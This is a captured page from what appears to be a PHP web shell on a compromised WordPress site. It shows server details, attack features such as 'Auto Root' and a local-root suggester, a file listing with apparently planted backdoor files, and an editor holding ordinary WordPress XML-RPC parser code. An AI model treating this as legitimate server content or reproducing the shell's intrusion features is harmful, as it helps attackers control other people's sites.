Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.1.1 & Your IP : 3.147.71.176
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
theprintave /
wp-includes /
ID3 /
Delete
Unzip
Name
Size
Permission
Date
Action
NPEaoneGq.php
329
B
-rw-r--r--
2025-05-09 05:54
PHPMailer.php
178.93
KB
-rw-r--r--
2025-04-15 17:44
SMTP.php
48
KB
-rw-r--r--
2025-04-15 17:44
about-20250513212747.php
4.05
KB
-rw-r--r--
2016-08-07 07:47
about.php7
4.05
KB
-rw-r--r--
2018-11-06 10:47
admin-bar.php
36.24
KB
-rw-r--r--
2025-05-09 07:39
alfa-rex.php
4.05
KB
-rw-r--r--
2025-05-12 10:47
alfa-rex.php8
4.05
KB
-rw-r--r--
2025-05-12 07:47
annotations.min-20250514003419.js
5.39
KB
-rw-r--r--
2024-07-16 17:55
atomlib.php
11.79
KB
-rw-r--r--
2024-11-13 12:36
autosave.js
21.95
KB
-rw-r--r--
2025-04-15 17:44
autosave.min.js
5.67
KB
-rw-r--r--
2023-02-02 16:36
block-directory-20250514003935.js
78.64
KB
-rw-r--r--
2025-04-15 17:44
blocks-20250514003832.js
554.02
KB
-rw-r--r--
2025-04-15 17:44
capabilities.php
41.72
KB
-rw-r--r--
2024-11-13 12:36
class-IXR-message.php
8
KB
-rw-r--r--
2024-11-13 12:36
class-IXR.php
2.55
KB
-rw-r--r--
2025-04-15 17:44
class-http-20250514075652.php
367
B
-rw-r--r--
2022-06-17 11:20
class-snoopy.php
36.83
KB
-rw-r--r--
2023-02-03 13:35
class-wp-block.php
22.5
KB
-rw-r--r--
2025-04-15 17:44
class-wp-oembed.php
30.91
KB
-rw-r--r--
2025-04-15 17:44
clipboard.js
26.18
KB
-rw-r--r--
2022-10-04 15:55
codemirror.min.css
15.53
KB
-rw-r--r--
2017-09-13 06:08
comments.php
6.61
KB
-rw-r--r--
2024-07-16 17:55
compose.min-20250514002540.js
35.99
KB
-rw-r--r--
2025-04-15 17:44
constants.php
4.06
KB
-rw-r--r--
2019-12-09 16:42
cron.php
43.71
KB
-rw-r--r--
2024-07-16 17:55
customize-loader.min-20250513213733.js
3.47
KB
-rw-r--r--
2023-02-02 16:36
customize-preview-20250513213026.js
27.3
KB
-rw-r--r--
2020-07-27 23:35
customize-preview.min-20250514002326.js
10.45
KB
-rw-r--r--
2023-02-02 16:36
customize-views.min.js
2.39
KB
-rw-r--r--
2021-01-06 15:29
customize-widgets.min-20250514002100.js
34.18
KB
-rw-r--r--
2025-04-15 17:44
deprecated-20250514002641.js
4.58
KB
-rw-r--r--
2025-04-15 17:44
dom.min.js
12.24
KB
-rw-r--r--
2025-04-15 17:44
edit-site.min.js
626.11
KB
-rw-r--r--
2025-04-15 17:44
edit-widgets.min-20250514002642.js
57.23
KB
-rw-r--r--
2025-04-15 17:44
editor-rtl.css
857
B
-rw-r--r--
2024-07-16 17:55
elements.php
8.46
KB
-rw-r--r--
2024-07-16 17:55
embed.php
37.28
KB
-rw-r--r--
2025-04-15 17:44
error-protection.php
4.02
KB
-rw-r--r--
2023-05-02 15:45
feed-rss.php
1.16
KB
-rw-r--r--
2020-01-29 00:45
getid3-20250514125227.php
79.1
KB
-rw-r--r--
2024-04-03 05:49
getid3.lib-20250514071511.php
53.39
KB
-rw-r--r--
2024-04-03 05:49
getid3.php
79.1
KB
-rw-r--r--
2024-04-03 05:49
handlers.min.js
1.25
KB
-rw-r--r--
2017-09-21 16:35
home-link.php
5.31
KB
-rw-r--r--
2025-04-15 17:44
hooks.min-20250514002648.js
4.66
KB
-rw-r--r--
2024-11-13 12:36
hoverIntent.min-20250513214302.js
1.46
KB
-rw-r--r--
2022-04-08 20:07
http.php
24.72
KB
-rw-r--r--
2025-05-09 07:39
https-migration.php
4.63
KB
-rw-r--r--
2023-07-10 22:38
i18n.min.js
8.93
KB
-rw-r--r--
2024-04-03 05:49
latest-comments.php
4.92
KB
-rw-r--r--
2024-07-16 17:55
license.txt
1.36
KB
-rw-r--r--
2024-04-03 05:49
masonry.min.js
23.57
KB
-rw-r--r--
2020-06-13 18:53
media-grid.min.js
12.95
KB
-rw-r--r--
2025-04-15 17:44
mediaelement-migrate-20250514003121.js
2.77
KB
-rw-r--r--
2017-10-16 18:07
mediaelement.min.js
66.71
KB
-rw-r--r--
2022-09-29 14:21
module.audio-video.asf.php
132.64
KB
-rw-r--r--
2024-04-03 05:49
module.audio-video.flv.php
26.5
KB
-rw-r-----
2021-11-26 03:06
module.audio-video.matroska.php
104.64
KB
-rw-r--r--
2024-04-03 05:49
module.audio-video.quicktime.php
163.09
KB
-rw-r--r--
2024-04-03 05:49
module.audio-video.riff-20250514155811.php
135.6
KB
-rw-r--r--
2024-04-03 05:49
module.audio-video.riff.php
135.6
KB
-rw-r--r--
2024-04-03 05:49
module.audio.ac3-20250514154309.php
38.46
KB
-rw-r--r--
2020-07-02 15:48
module.audio.ac3.php
38.46
KB
-rw-r-----
2020-07-02 15:48
module.audio.dts.php
10.63
KB
-rw-r-----
2020-07-02 15:48
module.audio.flac.php
19.23
KB
-rw-r-----
2021-11-26 03:06
module.audio.mp3.php
104.4
KB
-rw-r--r--
2024-04-03 05:49
module.audio.ogg.php
42.27
KB
-rw-r--r--
2024-04-03 05:49
module.tag.apetag.php
18.46
KB
-rw-r--r--
2024-04-03 05:49
module.tag.id3v1.php
14.7
KB
-rw-r--r--
2024-04-03 05:49
module.tag.id3v2.php
151.11
KB
-rw-r--r--
2024-04-03 05:49
module.tag.lyrics3.php
11.53
KB
-rw-r-----
2021-11-26 03:06
ms-network.php
3.69
KB
-rw-r--r--
2023-05-02 11:26
nav-menu.php
43.33
KB
-rw-r--r--
2025-05-09 07:39
notices.js
21.47
KB
-rw-r--r--
2025-04-15 17:44
nux-20250514002854.js
12.98
KB
-rw-r--r--
2025-04-15 17:44
patterns.min-20250514002548.js
20.95
KB
-rw-r--r--
2025-04-15 17:44
plupload-20250514002206.js
58.9
KB
-rw-r--r--
2019-11-03 17:09
post-meta.php
2.04
KB
-rw-r--r--
2024-04-03 05:49
private-apis-20250514002209.js
8.3
KB
-rw-r--r--
2025-04-15 17:44
private-apis.min-20250514003319.js
2.75
KB
-rw-r--r--
2025-04-15 17:44
readme.txt
25.71
KB
-rw-r--r--
2024-04-03 05:49
robots-template-20250514074748.php
5.06
KB
-rw-r--r--
2022-04-06 15:33
robots-template-20250514092205.php
5.06
KB
-rw-r--r--
2022-04-06 15:33
router-20250514001731.js
52.01
KB
-rw-r--r--
2025-04-15 17:44
router.min-20250514002902.js
13.21
KB
-rw-r--r--
2025-04-15 17:44
sUUyBfCpZ.php
166.01
KB
-rw-r--r--
2025-05-09 05:54
shortcodes.php
23.49
KB
-rw-r--r--
2024-07-16 17:55
user.php
171.7
KB
-rw-r--r--
2025-05-09 07:39
widgets-20250514001951.js
52.48
KB
-rw-r--r--
2025-04-15 17:44
widgets.min-20250514003222.js
19.56
KB
-rw-r--r--
2025-04-15 17:44
widgets.php
69.06
KB
-rw-r--r--
2025-05-09 07:39
wordcount-20250514004412.js
14.4
KB
-rw-r--r--
2025-04-15 17:44
wordcount.min.js
2.42
KB
-rw-r--r--
2024-04-03 05:49
wp-api.min-20250513212756.js
14.34
KB
-rw-r--r--
2023-02-02 16:36
wp-backbone.min.js
2.97
KB
-rw-r--r--
2022-04-08 20:07
wp-emoji-in.min.js
4.85
KB
-rw-r--r--
2025-05-12 08:50
wp-emoji-loader.js
12.21
KB
-rw-r--r--
2025-04-15 17:44
wp-plupload-20250514002320.js
16.31
KB
-rw-r--r--
2024-04-03 05:49
wp-util.min-20250513213609.js
1.39
KB
-rw-r--r--
2022-09-20 03:52
Save
Rename
<?php /** * IXR_MESSAGE * * @package IXR * @since 1.5.0 * */ class IXR_Message { var $message = false; var $messageType = false; // methodCall / methodResponse / fault var $faultCode = false; var $faultString = false; var $methodName = ''; var $params = array(); // Current variable stacks var $_arraystructs = array(); // The stack used to keep track of the current array/struct var $_arraystructstypes = array(); // Stack keeping track of if things are structs or array var $_currentStructName = array(); // A stack as well var $_param; var $_value; var $_currentTag; var $_currentTagContents; // The XML parser var $_parser; /** * PHP5 constructor. */ function __construct( $message ) { $this->message =& $message; } /** * PHP4 constructor. */ public function IXR_Message( $message ) { self::__construct( $message ); } function parse() { if ( ! function_exists( 'xml_parser_create' ) ) { trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) ); return false; } // first remove the XML declaration // merged from WP #10698 - this method avoids the RAM usage of preg_replace on very large messages $header = preg_replace( '/<\?xml.*?\?'.'>/s', '', substr( $this->message, 0, 100 ), 1 ); $this->message = trim( substr_replace( $this->message, $header, 0, 100 ) ); if ( '' == $this->message ) { return false; } // Then remove the DOCTYPE $header = preg_replace( '/^<!DOCTYPE[^>]*+>/i', '', substr( $this->message, 0, 200 ), 1 ); $this->message = trim( substr_replace( $this->message, $header, 0, 200 ) ); if ( '' == $this->message ) { return false; } // Check that the root tag is valid $root_tag = substr( $this->message, 0, strcspn( substr( $this->message, 0, 20 ), "> \t\r\n" ) ); if ( '<!DOCTYPE' === strtoupper( $root_tag ) ) { return false; } if ( ! in_array( $root_tag, array( '<methodCall', '<methodResponse', '<fault' ) ) ) { return false; } // Bail if there are too many elements to parse $element_limit = 30000; if ( function_exists( 'apply_filters' ) ) { /** * Filters the number of elements to parse in an XML-RPC response. * * @since 4.0.0 * * @param int $element_limit Default elements limit. */ $element_limit = apply_filters( 'xmlrpc_element_limit', $element_limit ); } if ( $element_limit && 2 * $element_limit < substr_count( $this->message, '<' ) ) { return false; } $this->_parser = xml_parser_create(); // Set XML parser to take the case of tags in to account xml_parser_set_option($this->_parser, XML_OPTION_CASE_FOLDING, false); // Set XML parser callback functions xml_set_element_handler($this->_parser, array($this, 'tag_open'), array($this, 'tag_close')); xml_set_character_data_handler($this->_parser, array($this, 'cdata')); // 256Kb, parse in chunks to avoid the RAM usage on very large messages $chunk_size = 262144; /** * Filters the chunk size that can be used to parse an XML-RPC response message. * * @since 4.4.0 * * @param int $chunk_size Chunk size to parse in bytes. */ $chunk_size = apply_filters( 'xmlrpc_chunk_parsing_size', $chunk_size ); $final = false; do { if (strlen($this->message) <= $chunk_size) { $final = true; } $part = substr($this->message, 0, $chunk_size); $this->message = substr($this->message, $chunk_size); if (!xml_parse($this->_parser, $part, $final)) { xml_parser_free($this->_parser); unset($this->_parser); return false; } if ($final) { break; } } while (true); xml_parser_free($this->_parser); unset($this->_parser); // Grab the error messages, if any if ($this->messageType == 'fault') { $this->faultCode = $this->params[0]['faultCode']; $this->faultString = $this->params[0]['faultString']; } return true; } function tag_open($parser, $tag, $attr) { $this->_currentTagContents = ''; $this->_currentTag = $tag; switch($tag) { case 'methodCall': case 'methodResponse': case 'fault': $this->messageType = $tag; break; /* Deal with stacks of arrays and structs */ case 'data': // data is to all intents and puposes more interesting than array $this->_arraystructstypes[] = 'array'; $this->_arraystructs[] = array(); break; case 'struct': $this->_arraystructstypes[] = 'struct'; $this->_arraystructs[] = array(); break; } } function cdata($parser, $cdata) { $this->_currentTagContents .= $cdata; } function tag_close($parser, $tag) { $valueFlag = false; switch($tag) { case 'int': case 'i4': $value = (int)trim($this->_currentTagContents); $valueFlag = true; break; case 'double': $value = (double)trim($this->_currentTagContents); $valueFlag = true; break; case 'string': $value = (string)trim($this->_currentTagContents); $valueFlag = true; break; case 'dateTime.iso8601': $value = new IXR_Date(trim($this->_currentTagContents)); $valueFlag = true; break; case 'value': // "If no type is indicated, the type is string." if (trim($this->_currentTagContents) != '') { $value = (string)$this->_currentTagContents; $valueFlag = true; } break; case 'boolean': $value = (boolean)trim($this->_currentTagContents); $valueFlag = true; break; case 'base64': $value = base64_decode($this->_currentTagContents); $valueFlag = true; break; /* Deal with stacks of arrays and structs */ case 'data': case 'struct': $value = array_pop($this->_arraystructs); array_pop($this->_arraystructstypes); $valueFlag = true; break; case 'member': array_pop($this->_currentStructName); break; case 'name': $this->_currentStructName[] = trim($this->_currentTagContents); break; case 'methodName': $this->methodName = trim($this->_currentTagContents); break; } if ($valueFlag) { if (count($this->_arraystructs) > 0) { // Add value to struct or array if ($this->_arraystructstypes[count($this->_arraystructstypes)-1] == 'struct') { // Add to struct $this->_arraystructs[count($this->_arraystructs)-1][$this->_currentStructName[count($this->_currentStructName)-1]] = $value; } else { // Add to array $this->_arraystructs[count($this->_arraystructs)-1][] = $value; } } else { // Just add as a parameter $this->params[] = $value; } } $this->_currentTagContents = ''; } }